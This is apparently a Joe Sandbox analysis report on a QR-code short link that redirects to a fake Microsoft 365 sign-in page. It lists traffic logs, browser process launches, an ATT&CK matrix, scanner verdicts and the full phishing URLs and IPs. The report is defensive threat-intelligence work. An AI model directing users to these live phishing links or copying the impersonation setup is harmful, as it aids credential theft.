Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49744 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_BITS_908_397435437

Jump to behavior

Source: classification engine

Classification label: mal72.phis.win@20/86@34/14

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2372,i,8607194421780952644,2411347449905481728,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" "https://qrco.de/beoXnp
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2372,i,8607194421780952644,2411347449905481728,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Drive-by Compromise	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://qrco.de/beoXnp	0%	Avira URL Cloud	safe
https://qrco.de/beoXnp	1%	Virustotal		Browse
https://qrco.de/beoXnp	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Link
o365.mojopowertsinctech.com	0%	Virustotal	Browse
cs1100.wpc.omegacdn.net	0%	Virustotal	Browse
part-0012.t-0009.t-msedge.net	0%	Virustotal	Browse
part-0042.t-0009.t-msedge.net	0%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse
sni1gl.wpc.alphacdn.net	0%	Virustotal	Browse
qrco.de	0%	Virustotal	Browse
aadcdn.msftauth.net	0%	Virustotal	Browse
acctcdn.msftauth.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://o365.mojopowertsinctech.com/GFzGHtAX	0%	Avira URL Cloud	safe
https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_GOwG3D936OfJ_-lzWtiHhg2.js	0%	Virustotal		Browse
https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_GOwG3D936OfJ_-lzWtiHhg2.js	0%	Avira URL Cloud	safe
https://react.mojopowertsinctech.com/login	0%	Avira URL Cloud	safe
https://ywnjb.mojopowertsinctech.com/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&scope=openid+profile+https%3a%2f%2freact.mojopowertsinctech.com%2fv2%2fOfficeHome.All&redirect_uri=https%3a%2f%2freact.mojopowertsinctech.com%2flandingv2&response_type=code+id_token&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&x-client-SKU=ID_NET6_0&x-client-Ver=7.2.0.0&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&msproxy=1&issuer=mso&tenant=common&ui_locales=en-US&signup=1&lw=1&fl=easi2&epct=PAQABDgEAAADnfolhJpSnRYB1SVj-Hgd80w1kEV2yfp5yTl51I3iF3TZ8rpCwOgZ1lnF8q4G7ilhCQoP1LCvvDjOYr7gkKkuM7-GqKwtD-DLU3ziTNuKDBvBhkf5lNtDU51r8u1087AG3ShOPiScHcXZGRsjcnZgWaEkzg04aq2TTtQi6gXE2YvLU9b50YfhyYGF5MdbVLjtsuQHsKoCTyQj8dsiUlsG-q-71Os5kFsN_o4Y-UJTvhiAA&jshs=0	0%	Avira URL Cloud	safe
https://acctcdn.msftauth.net/images/favicon.ico?v=2	0%	Avira URL Cloud	safe
https://o365.mojopowertsinctech.com/GFzGHtAX	0%	Virustotal		Browse
https://o365.mojopowertsinctech.com/cdn-cgi/challenge-platform/h/b/scripts/jsd/0f752fefe334/main.js	0%	Avira URL Cloud	safe
https://acctcdn.msftauth.net/jqueryshim_hlu0tTfjWJFWYNt1WZrVqg2.js?v=1	0%	Avira URL Cloud	safe
https://acctcdn.msftauth.net/oneds_MC5gQfpbTUjLu60sQCwU1w2.js?v=1	0%	Avira URL Cloud	safe
https://acctcdn.msftauth.net/datarequestpackage_h-_7C7UzwdefXJT9njDBTQ2.js	0%	Avira URL Cloud	safe
https://acctcdn.msftauth.net/datarequestpackage_h-_7C7UzwdefXJT9njDBTQ2.js	0%	Virustotal		Browse
https://acctcdn.msftauth.net/lwsignupstringscountrybirthdate_en-us_gdxUIqa3ijrOefuBnwhTKg2.js?v=1	0%	Avira URL Cloud	safe
https://acctcdn.msftauth.net/images/2_vD0yppaJX3jBnfbHF1hqXQ2.svg	0%	Avira URL Cloud	safe
https://o365.mojopowertsinctech.com/favicon.ico	0%	Avira URL Cloud	safe
https://o365.mojopowertsinctech.com/cdn-cgi/challenge-platform/scripts/jsd/main.js	0%	Avira URL Cloud	safe
https://acctcdn.msftauth.net/oneds_MC5gQfpbTUjLu60sQCwU1w2.js?v=1	0%	Virustotal		Browse
https://acctcdn.msftauth.net/images/2_vD0yppaJX3jBnfbHF1hqXQ2.svg	0%	Virustotal		Browse
https://ywnjb.mojopowertsinctech.com/Me.htm?v=3	0%	Avira URL Cloud	safe
https://acctcdn.msftauth.net/images/favicon.ico?v=2	0%	Virustotal		Browse
about:blank	0%	Avira URL Cloud	safe
https://acctcdn.msftauth.net/lightweightsignuppackage_COE03vXZErAq7-ed7h5ZAg2.js?v=1	0%	Avira URL Cloud	safe
https://acctcdn.msftauth.net/lwsignupstringscountrybirthdate_en-us_gdxUIqa3ijrOefuBnwhTKg2.js?v=1	0%	Virustotal		Browse
https://acctcdn.msftauth.net/jqueryshim_hlu0tTfjWJFWYNt1WZrVqg2.js?v=1	0%	Virustotal		Browse
https://acctcdn.msftauth.net/knockout_3.3.0_X1BYS2jZMbi7hfUj8VuqFA2.js?v=1	0%	Avira URL Cloud	safe
https://o365.mojopowertsinctech.com/cdn-cgi/challenge-platform/h/b/jsd/r/859ee6e41a670f91	0%	Avira URL Cloud	safe
https://o365.mojopowertsinctech.com	0%	Avira URL Cloud	safe
https://acctcdn.msftauth.net/images/microsoft_logo_7lyNn7YkjJOP0NwZNw6QvQ2.svg	0%	Avira URL Cloud	safe
https://acctcdn.msftauth.net/lightweightsignuppackage_COE03vXZErAq7-ed7h5ZAg2.js?v=1	0%	Virustotal		Browse
https://acctcdn.msftauth.net/converged_ux_v2_nBE5FSqn9KpH44ZlTc3VqQ2.css?v=1	0%	Avira URL Cloud	safe
https://o365.mojopowertsinctech.com/	0%	Avira URL Cloud	safe
https://acctcdn.msftauth.net/knockout_3.3.0_X1BYS2jZMbi7hfUj8VuqFA2.js?v=1	0%	Virustotal		Browse
https://acctcdn.msftauth.net/images/microsoft_logo_7lyNn7YkjJOP0NwZNw6QvQ2.svg	1%	Virustotal		Browse
https://acctcdn.msftauth.net/converged_ux_v2_nBE5FSqn9KpH44ZlTc3VqQ2.css?v=1	0%	Virustotal		Browse
https://o365.mojopowertsinctech.com/	0%	Virustotal		Browse
https://o365.mojopowertsinctech.com	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false		high
cs1100.wpc.omegacdn.net	152.199.4.44	true	false	0%, Virustotal, Browse	unknown
accounts.google.com	142.251.167.84	true	false		high
sni1gl.wpc.alphacdn.net	152.195.19.97	true	false	0%, Virustotal, Browse	unknown
o365.mojopowertsinctech.com	104.21.50.101	true	false	0%, Virustotal, Browse	unknown
qrco.de	18.238.49.52	true	false	0%, Virustotal, Browse	unknown
react.mojopowertsinctech.com	104.21.50.101	true	false		unknown
ywnjb.mojopowertsinctech.com	172.67.204.183	true	false		unknown
part-0042.t-0009.t-msedge.net	13.107.246.70	true	false	0%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	0%, Virustotal, Browse	unknown
www.google.com	142.251.40.164	true	false		high
part-0012.t-0009.t-msedge.net	13.107.213.40	true	false	0%, Virustotal, Browse	unknown
clients.l.google.com	142.250.65.206	true	false		high
signup.live.com	unknown	unknown	false		high
aadcdn.msftauth.net	unknown	unknown	false	0%, Virustotal, Browse	unknown
clients2.google.com	unknown	unknown	false		high
identity.nel.measure.office.net	unknown	unknown	false		high
fpt.live.com	unknown	unknown	false		high
acctcdn.msftauth.net	unknown	unknown	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_GOwG3D936OfJ_-lzWtiHhg2.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://o365.mojopowertsinctech.com/GFzGHtAX	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://react.mojopowertsinctech.com/login	false	Avira URL Cloud: safe	unknown
https://ywnjb.mojopowertsinctech.com/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&scope=openid+profile+https%3a%2f%2freact.mojopowertsinctech.com%2fv2%2fOfficeHome.All&redirect_uri=https%3a%2f%2freact.mojopowertsinctech.com%2flandingv2&response_type=code+id_token&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&x-client-SKU=ID_NET6_0&x-client-Ver=7.2.0.0&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&msproxy=1&issuer=mso&tenant=common&ui_locales=en-US&signup=1&lw=1&fl=easi2&epct=PAQABDgEAAADnfolhJpSnRYB1SVj-Hgd80w1kEV2yfp5yTl51I3iF3TZ8rpCwOgZ1lnF8q4G7ilhCQoP1LCvvDjOYr7gkKkuM7-GqKwtD-DLU3ziTNuKDBvBhkf5lNtDU51r8u1087AG3ShOPiScHcXZGRsjcnZgWaEkzg04aq2TTtQi6gXE2YvLU9b50YfhyYGF5MdbVLjtsuQHsKoCTyQj8dsiUlsG-q-71Os5kFsN_o4Y-UJTvhiAA&jshs=0	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v3?s=5MkxOQxvOwyoP%2F2RwmofFl6udW2XaFFytYqGx0nCxXSiLz1tZZtS%2ByI7KOthz2Je%2BJsJUioCcAzd3LpF7srMZRFME1WBk8ndKwMHcPMaztMBIC1n7rJiLRz%2FBZyJKh5%2B16zpP0jRgqg9OTmmBPk%3D	false		high
https://acctcdn.msftauth.net/images/favicon.ico?v=2	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://fpt.live.com/?session_id=9f2710581d4e4ca9b4b73f7143f1c7f2&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d&PageId=SU&mkt=EN-US	false		high
https://o365.mojopowertsinctech.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0&sso_reload=true	true		unknown
https://o365.mojopowertsinctech.com/cdn-cgi/challenge-platform/h/b/scripts/jsd/0f752fefe334/main.js	false	Avira URL Cloud: safe	unknown
https://acctcdn.msftauth.net/jqueryshim_hlu0tTfjWJFWYNt1WZrVqg2.js?v=1	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://acctcdn.msftauth.net/oneds_MC5gQfpbTUjLu60sQCwU1w2.js?v=1	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard	false		high
https://acctcdn.msftauth.net/datarequestpackage_h-_7C7UzwdefXJT9njDBTQ2.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://acctcdn.msftauth.net/lwsignupstringscountrybirthdate_en-us_gdxUIqa3ijrOefuBnwhTKg2.js?v=1	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://acctcdn.msftauth.net/images/2_vD0yppaJX3jBnfbHF1hqXQ2.svg	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://o365.mojopowertsinctech.com/cdn-cgi/challenge-platform/scripts/jsd/main.js	false	Avira URL Cloud: safe	unknown
https://o365.mojopowertsinctech.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://ywnjb.mojopowertsinctech.com/Me.htm?v=3	false	Avira URL Cloud: safe	unknown
about:blank	false	Avira URL Cloud: safe	low
https://acctcdn.msftauth.net/lightweightsignuppackage_COE03vXZErAq7-ed7h5ZAg2.js?v=1	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://acctcdn.msftauth.net/knockout_3.3.0_X1BYS2jZMbi7hfUj8VuqFA2.js?v=1	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://o365.mojopowertsinctech.com/cdn-cgi/challenge-platform/h/b/jsd/r/859ee6e41a670f91	false	Avira URL Cloud: safe	unknown
https://acctcdn.msftauth.net/images/microsoft_logo_7lyNn7YkjJOP0NwZNw6QvQ2.svg	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://o365.mojopowertsinctech.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0	false		unknown
https://qrco.de/beoXnp	true		unknown
https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1	false		high
https://acctcdn.msftauth.net/converged_ux_v2_nBE5FSqn9KpH44ZlTc3VqQ2.css?v=1	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://o365.mojopowertsinctech.com/	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://knockoutjs.com/	chromecache_94.2.dr	false		high
https://github.com/douglascrockford/JSON-js	chromecache_94.2.dr	false		high
https://login.windows-ppe.net	chromecache_87.2.dr, chromecache_81.2.dr	false		high
https://fpt.live.com/	chromecache_71.2.dr	false		high
http://www.opensource.org/licenses/mit-license.php)	chromecache_94.2.dr	false		high
https://o365.mojopowertsinctech.com	chromecache_87.2.dr, chromecache_81.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.199.4.44	cs1100.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
18.238.49.52	qrco.de	United States	16509	AMAZON-02US	false
13.107.246.70	part-0042.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.251.40.164	www.google.com	United States	15169	GOOGLEUS	false
142.251.167.84	accounts.google.com	United States	15169	GOOGLEUS	false
142.250.65.206	clients.l.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
13.107.213.40	part-0012.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.67.204.183	ywnjb.mojopowertsinctech.com	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.21.50.101	o365.mojopowertsinctech.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1397588
Start date and time:	2024-02-23 11:48:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://qrco.de/beoXnp
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.win@20/86@34/14
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://ywnjb.mojopowertsinctech.com/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&scope=openid+profile+https%3a%2f%2freact.mojopowertsinctech.com%2fv2%2fOfficeHome.All&redirect_uri=https%3a%2f%2freact.mojopowertsinctech.com%2flandingv2&response_type=code+id_token&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&x-client-SKU=ID_NET6_0&x-client-Ver=7.2.0.0&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&msproxy=1&issuer=mso&tenant=common&ui_locales=en-US&signup=1&lw=1&fl=easi2&epct=PAQABDgEAAADnfolhJpSnRYB1SVj-Hgd80w1kEV2yfp5yTl51I3iF3TZ8rpCwOgZ1lnF8q4G7ilhCQoP1LCvvDjOYr7gkKkuM7-GqKwtD-DLU3ziTNuKDBvBhkf5lNtDU51r8u1087AG3ShOPiScHcXZGRsjcnZgWaEkzg04aq2TTtQi6gXE2YvLU9b50YfhyYGF5MdbVLjtsuQHsKoCTyQj8dsiUlsG-q-71Os5kFsN_o4Y-UJTvhiAA&jshs=0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.81.227, 34.104.35.123, 23.37.123.160, 23.37.123.153, 142.250.64.106, 142.250.65.202, 142.250.65.234, 142.250.81.234, 142.250.80.106, 172.217.165.138, 142.251.40.202, 142.250.80.74, 142.250.65.170, 142.251.40.170, 142.250.176.202, 142.250.80.10, 142.250.72.106, 142.250.80.42, 142.251.40.234, 142.251.41.10, 20.114.59.183, 72.21.81.240, 192.229.211.108, 20.242.39.171, 13.107.42.22, 40.126.24.148, 40.126.24.82, 40.126.24.146, 20.190.152.21, 40.126.24.149, 40.126.24.84, 40.126.24.83, 40.126.24.81, 142.251.40.106, 142.251.40.138, 142.251.32.106, 142.251.35.170, 142.250.64.74, 52.167.30.171, 20.189.173.7, 142.251.32.99
